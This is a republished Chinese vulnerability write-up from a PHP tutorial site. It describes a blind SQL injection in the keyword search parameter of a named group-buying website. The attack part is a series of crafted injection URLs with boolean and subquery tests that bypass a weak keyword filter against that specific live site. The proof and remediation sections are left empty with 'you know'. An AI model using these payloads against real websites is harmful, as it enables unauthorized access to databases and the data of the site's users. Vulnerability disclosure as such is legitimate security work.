来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 其实这个貌似对参数进行了过滤,and,-等关键字都已经被限制,但是,过滤不严格导致了问题:or,select ,#39;,=,,等管关键字未被过滤先找个不从在的关键字http://www.tiantiantuangou.com/team/inde...
其实这个貌似对参数进行了过滤,and,-等关键字都已经被限制,但是,过滤不严格导致了问题:or,select ,',=,<,>等管关键字未被过滤
先找个不从在的关键字 http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq返回空 http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq'+or%20'1'='依然返回空 http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq'+or%20'%'='返回数据 由此推断后台sql语句可能类似这样的写法select * from xxx where keyword like '%str%' ,然后我们再来试试http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq'+or%200%3E0+or%20'1'='返回空or 0>0以及最后的or '1'='%也为false,所以返回空 http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq'+or%201%3E0+or%20'1'='返回数据 因为or 1>0成立 www.2cto.com http://www.tiantiantuangou.com/team/index.php?filter=true&keyword=qqqq'+or%20(select%201)%3E0+or%20'1'=' 返回数据,说明(select 1)>0成立,select查询成功 漏洞证明: 修复方案: 你懂得 作者 冷冷的夜 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com